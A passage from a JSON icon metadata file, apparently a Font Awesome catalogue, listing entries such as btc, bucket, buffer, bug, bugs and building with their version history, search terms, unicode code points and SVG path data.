        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M162.4 6c-1.5-3.6-5-6-8.9-6h-19c-3.9 0-7.5 2.4-8.9 6L104.9 57.7c-3.2 8-14.6 8-17.8 0L66.4 6c-1.5-3.6-5-6-8.9-6H48C21.5 0 0 21.5 0 48V224v22.4V256H9.6 374.4 384v-9.6V224 48c0-26.5-21.5-48-48-48H230.5c-3.9 0-7.5 2.4-8.9 6L200.9 57.7c-3.2 8-14.6 8-17.8 0L162.4 6zM0 288v32c0 35.3 28.7 64 64 64h64v64c0 35.3 28.7 64 64 64s64-28.7 64-64V384h64c35.3 0 64-28.7 64-64V288H0zM192 432a16 16 0 1 1 0 32 16 16 0 1 1 0-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M162.4 6c-1.5-3.6-5-6-8.9-6h-19c-3.9 0-7.5 2.4-8.9 6L104.9 57.7c-3.2 8-14.6 8-17.8 0L66.4 6c-1.5-3.6-5-6-8.9-6H48C21.5 0 0 21.5 0 48V224v22.4V256H9.6 374.4 384v-9.6V224 48c0-26.5-21.5-48-48-48H230.5c-3.9 0-7.5 2.4-8.9 6L200.9 57.7c-3.2 8-14.6 8-17.8 0L162.4 6zM0 288v32c0 35.3 28.7 64 64 64h64v64c0 35.3 28.7 64 64 64s64-28.7 64-64V384h64c35.3 0 64-28.7 64-64V288H0zM192 432a16 16 0 1 1 0 32 16 16 0 1 1 0-32z"
      }
    },
    "free": ["solid"]
  },
  "btc": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f15a",
    "label": "BTC",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z"
      }
    },
    "free": ["brands"]
  },
  "bucket": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bucket", "pail", "sandcastle"]
    },
    "styles": ["solid"],
    "unicode": "e4cf",
    "label": "Bucket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 152v8H48v-8C48 68.1 116.1 0 200 0h48c83.9 0 152 68.1 152 152v8H352v-8c0-57.4-46.6-104-104-104H200C142.6 48 96 94.6 96 152zM0 224c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32h-5.1L388.5 469c-2.6 24.4-23.2 43-47.7 43H107.2c-24.6 0-45.2-18.5-47.7-43L37.1 256H32c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 152v8H48v-8C48 68.1 116.1 0 200 0h48c83.9 0 152 68.1 152 152v8H352v-8c0-57.4-46.6-104-104-104H200C142.6 48 96 94.6 96 152zM0 224c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32h-5.1L388.5 469c-2.6 24.4-23.2 43-47.7 43H107.2c-24.6 0-45.2-18.5-47.7-43L37.1 256H32c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "buffer": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f837",
    "label": "Buffer",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z"
      }
    },
    "free": ["brands"]
  },
  "bug": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f188"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.15.4",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["beetle", "error", "glitch", "insect", "repair", "report"]
    },
    "styles": ["solid"],
    "unicode": "f188",
    "label": "Bug",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c53 0 96 43 96 96v3.6c0 15.7-12.7 28.4-28.4 28.4H188.4c-15.7 0-28.4-12.7-28.4-28.4V96c0-53 43-96 96-96zM41.4 105.4c12.5-12.5 32.8-12.5 45.3 0l64 64c.7 .7 1.3 1.4 1.9 2.1c14.2-7.3 30.4-11.4 47.5-11.4H312c17.1 0 33.2 4.1 47.5 11.4c.6-.7 1.2-1.4 1.9-2.1l64-64c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-64 64c-.7 .7-1.4 1.3-2.1 1.9c6.2 12 10.1 25.3 11.1 39.5H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H416c0 24.6-5.5 47.8-15.4 68.6c2.2 1.3 4.2 2.9 6 4.8l64 64c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-63.1-63.1c-24.5 21.8-55.8 36.2-90.3 39.6V240c0-8.8-7.2-16-16-16s-16 7.2-16 16V479.2c-34.5-3.4-65.8-17.8-90.3-39.6L86.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l64-64c1.9-1.9 3.9-3.4 6-4.8C101.5 367.8 96 344.6 96 320H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96.3c1.1-14.1 5-27.5 11.1-39.5c-.7-.6-1.4-1.2-2.1-1.9l-64-64c-12.5-12.5-12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c53 0 96 43 96 96v3.6c0 15.7-12.7 28.4-28.4 28.4H188.4c-15.7 0-28.4-12.7-28.4-28.4V96c0-53 43-96 96-96zM41.4 105.4c12.5-12.5 32.8-12.5 45.3 0l64 64c.7 .7 1.3 1.4 1.9 2.1c14.2-7.3 30.4-11.4 47.5-11.4H312c17.1 0 33.2 4.1 47.5 11.4c.6-.7 1.2-1.4 1.9-2.1l64-64c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-64 64c-.7 .7-1.4 1.3-2.1 1.9c6.2 12 10.1 25.3 11.1 39.5H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H416c0 24.6-5.5 47.8-15.4 68.6c2.2 1.3 4.2 2.9 6 4.8l64 64c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-63.1-63.1c-24.5 21.8-55.8 36.2-90.3 39.6V240c0-8.8-7.2-16-16-16s-16 7.2-16 16V479.2c-34.5-3.4-65.8-17.8-90.3-39.6L86.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l64-64c1.9-1.9 3.9-3.4 6-4.8C101.5 367.8 96 344.6 96 320H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96.3c1.1-14.1 5-27.5 11.1-39.5c-.7-.6-1.4-1.2-2.1-1.9l-64-64c-12.5-12.5-12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "bug-slash": {
    "changes": ["6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "beetle",
        "fix",
        "glitch",
        "insect",
        "optimize",
        "repair",
        "report",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "e490",
    "label": "Bug Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L477.4 348.9c1.7-9.4 2.6-19 2.6-28.9h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H479.7c-1.1-14.1-5-27.5-11.1-39.5c.7-.6 1.4-1.2 2.1-1.9l64-64c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-64 64c-.7 .7-1.3 1.4-1.9 2.1C409.2 164.1 393.1 160 376 160H264c-8.3 0-16.3 1-24 2.8L38.8 5.1zM320 0c-53 0-96 43-96 96v3.6c0 15.7 12.7 28.4 28.4 28.4H387.6c15.7 0 28.4-12.7 28.4-28.4V96c0-53-43-96-96-96zM160.3 256H96c-17.7 0-32 14.3-32 32s14.3 32 32 32h64c0 24.6 5.5 47.8 15.4 68.6c-2.2 1.3-4.2 2.9-6 4.8l-64 64c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l63.1-63.1c24.5 21.8 55.8 36.2 90.3 39.6V335.5L166.7 227.3c-3.4 9-5.6 18.7-6.4 28.7zM336 479.2c36.6-3.6 69.7-19.6 94.8-43.8L336 360.7V479.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L477.4 348.9c1.7-9.4 2.6-19 2.6-28.9h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H479.7c-1.1-14.1-5-27.5-11.1-39.5c.7-.6 1.4-1.2 2.1-1.9l64-64c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-64 64c-.7 .7-1.3 1.4-1.9 2.1C409.2 164.1 393.1 160 376 160H264c-8.3 0-16.3 1-24 2.8L38.8 5.1zM320 0c-53 0-96 43-96 96v3.6c0 15.7 12.7 28.4 28.4 28.4H387.6c15.7 0 28.4-12.7 28.4-28.4V96c0-53-43-96-96-96zM160.3 256H96c-17.7 0-32 14.3-32 32s14.3 32 32 32h64c0 24.6 5.5 47.8 15.4 68.6c-2.2 1.3-4.2 2.9-6 4.8l-64 64c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l63.1-63.1c24.5 21.8 55.8 36.2 90.3 39.6V335.5L166.7 227.3c-3.4 9-5.6 18.7-6.4 28.7zM336 479.2c36.6-3.6 69.7-19.6 94.8-43.8L336 360.7V479.2z"
      }
    },
    "free": ["solid"]
  },
  "bugs": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bedbug", "infestation", "lice", "plague", "ticks"]
    },
    "styles": ["solid"],
    "unicode": "e4d0",
    "label": "Bugs",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M164.5 107.4l33.4-73.5c5.5-12.1 .1-26.3-11.9-31.8s-26.3-.1-31.8 11.9L128 71.7 101.9 14.1C96.4 2 82.1-3.3 70.1 2.1S52.7 21.9 58.1 33.9l33.4 73.5c-10.2 7.1-18.2 17-22.9 28.6h-17l-4.1-20.7c-2.6-13-15.2-21.4-28.2-18.8S-2.1 111.7 .5 124.7l8 40C10.7 175.9 20.6 184 32 184H64v23.3l-37.8 9.5c-9.5 2.4-16.6 10.2-17.9 19.9l-8 56c-1.9 13.1 7.2 25.3 20.4 27.2s25.3-7.2 27.2-20.4l5.7-40 18.4-4.6C82.7 274.6 103.8 288 128 288s45.3-13.4 56.1-33.2l18.4 4.6 5.7 40c1.9 13.1 14 22.2 27.2 20.4s22.2-14 20.4-27.2l-8-56c-1.4-9.7-8.5-17.5-17.9-19.9L192 207.3V184h32c11.4 0 21.3-8.1 23.5-19.3l8-40c2.6-13-5.8-25.6-18.8-28.2s-25.6 5.8-28.2 18.8L204.3 136h-17c-4.7-11.6-12.7-21.5-22.9-28.6zM496 286.5l65.6-47c10.8-7.7 13.3-22.7 5.6-33.5s-22.7-13.3-33.5-5.6l-51.4 36.8 6.1-62.9c1.3-13.2-8.4-24.9-21.6-26.2s-24.9 8.4-26.2 21.6L432.8 250c-12.3 1-24.2 5.6-34.1 13.3L384 254.8l6.8-20c4.2-12.6-2.5-26.2-15-30.4s-26.2 2.5-30.4 15l-13.1 38.6c-3.7 10.8 .8 22.8 10.7 28.5l27.7 16L359 322.7 321.5 312c-9.4-2.7-19.5 .6-25.5 8.3l-34.9 44.5c-8.2 10.4-6.4 25.5 4.1 33.7s25.5 6.4 33.7-4.1l25-31.8 18.2 5.2c-.5 22.6 11 44.7 32 56.8s45.9 11 65.2-.7l13.6 13.2-15.1 37.5c-4.9 12.3 1 26.3 13.3 31.2s26.3-1 31.2-13.3L503.5 440c3.6-9.1 1.4-19.4-5.6-26.2l-28-27.1 11.6-20.1 27.7 16c9.9 5.7 22.5 3.7 30-4.9L566.2 347c8.7-10 7.8-25.1-2.2-33.9s-25.1-7.8-33.9 2.2l-13.9 15.9-14.7-8.5c1.7-12.4-.2-25-5.5-36.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M164.5 107.4l33.4-73.5c5.5-12.1 .1-26.3-11.9-31.8s-26.3-.1-31.8 11.9L128 71.7 101.9 14.1C96.4 2 82.1-3.3 70.1 2.1S52.7 21.9 58.1 33.9l33.4 73.5c-10.2 7.1-18.2 17-22.9 28.6h-17l-4.1-20.7c-2.6-13-15.2-21.4-28.2-18.8S-2.1 111.7 .5 124.7l8 40C10.7 175.9 20.6 184 32 184H64v23.3l-37.8 9.5c-9.5 2.4-16.6 10.2-17.9 19.9l-8 56c-1.9 13.1 7.2 25.3 20.4 27.2s25.3-7.2 27.2-20.4l5.7-40 18.4-4.6C82.7 274.6 103.8 288 128 288s45.3-13.4 56.1-33.2l18.4 4.6 5.7 40c1.9 13.1 14 22.2 27.2 20.4s22.2-14 20.4-27.2l-8-56c-1.4-9.7-8.5-17.5-17.9-19.9L192 207.3V184h32c11.4 0 21.3-8.1 23.5-19.3l8-40c2.6-13-5.8-25.6-18.8-28.2s-25.6 5.8-28.2 18.8L204.3 136h-17c-4.7-11.6-12.7-21.5-22.9-28.6zM496 286.5l65.6-47c10.8-7.7 13.3-22.7 5.6-33.5s-22.7-13.3-33.5-5.6l-51.4 36.8 6.1-62.9c1.3-13.2-8.4-24.9-21.6-26.2s-24.9 8.4-26.2 21.6L432.8 250c-12.3 1-24.2 5.6-34.1 13.3L384 254.8l6.8-20c4.2-12.6-2.5-26.2-15-30.4s-26.2 2.5-30.4 15l-13.1 38.6c-3.7 10.8 .8 22.8 10.7 28.5l27.7 16L359 322.7 321.5 312c-9.4-2.7-19.5 .6-25.5 8.3l-34.9 44.5c-8.2 10.4-6.4 25.5 4.1 33.7s25.5 6.4 33.7-4.1l25-31.8 18.2 5.2c-.5 22.6 11 44.7 32 56.8s45.9 11 65.2-.7l13.6 13.2-15.1 37.5c-4.9 12.3 1 26.3 13.3 31.2s26.3-1 31.2-13.3L503.5 440c3.6-9.1 1.4-19.4-5.6-26.2l-28-27.1 11.6-20.1 27.7 16c9.9 5.7 22.5 3.7 30-4.9L566.2 347c8.7-10 7.8-25.1-2.2-33.9s-25.1-7.8-33.9 2.2l-13.9 15.9-14.7-8.5c1.7-12.4-.2-25-5.5-36.2z"
      }
    },
    "free": ["solid"]
  },
  "building": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3e2", "f0f7"],
        "secondary": ["10f1ad"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "apartment",
        "building",
        "business",
        "city",
        "company",
        "office",
        "office building",
        "urban",
        "work"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1ad",
    "label": "Building",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 48c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16h80V400c0-26.5 21.5-48 48-48s48 21.5 48 48v64h80c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H64zM0 64C0 28.7 28.7 0 64 0H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zm88 40c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H104c-8.8 0-16-7.2-16-16V104zM232 88h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H232c-8.8 0-16-7.2-16-16V104c0-8.8 7.2-16 16-16zM88 232c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H104c-8.8 0-16-7.2-16-16V232zm144-16h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H232c-8.8 0-16-7.2-16-16V232c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 48c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16h80V400c0-26.5 21.5-48 48-48s48 21.5 48 48v64h80c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H64zM0 64C0 28.7 28.7 0 64 0H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zm88 40c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H104c-8.8 0-16-7.2-16-16V104zM232 88h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H232c-8.8 0-16-7.2-16-16V104c0-8.8 7.2-16 16-16zM88 232c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H104c-8.8 0-16-7.2-16-16V232zm144-16h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H232c-8.8 0-16-7.2-16-16V232c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "building-circle-arrow-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "distribution center", "office"]
    },
    "styles": ["solid"],
    "unicode": "e4d1",
    "label": "Building Circle Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V232.2c-39.1 32.3-64 81.1-64 135.8c0 49.5 20.4 94.2 53.3 126.2C364.5 505.1 351.1 512 336 512H240V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H48c-26.5 0-48-21.5-48-48V48zM80 224c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zm112-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H272zM64 112v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zM176 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H176zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16zm96 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm140.7-67.3c-6.2 6.2-6.2 16.4 0 22.6L521.4 352H432c-8.8 0-16 7.2-16 16s7.2 16 16 16h89.4l-28.7 28.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l56-56c6.2-6.2 6.2-16.4 0-22.6l-56-56c-6.2-6.2-16.4-6.2-22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V232.2c-39.1 32.3-64 81.1-64 135.8c0 49.5 20.4 94.2 53.3 126.2C364.5 505.1 351.1 512 336 512H240V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H48c-26.5 0-48-21.5-48-48V48zM80 224c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zm112-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H272zM64 112v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zM176 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H176zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16zm96 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm140.7-67.3c-6.2 6.2-6.2 16.4 0 22.6L521.4 352H432c-8.8 0-16 7.2-16 16s7.2 16 16 16h89.4l-28.7 28.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l56-56c6.2-6.2 6.2-16.4 0-22.6l-56-56c-6.2-6.2-16.4-6.2-22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "building-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "not affected", "office", "ok", "okay"]
    },
    "styles": ["solid"],
    "unicode": "e4d2",
    "label": "Building Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
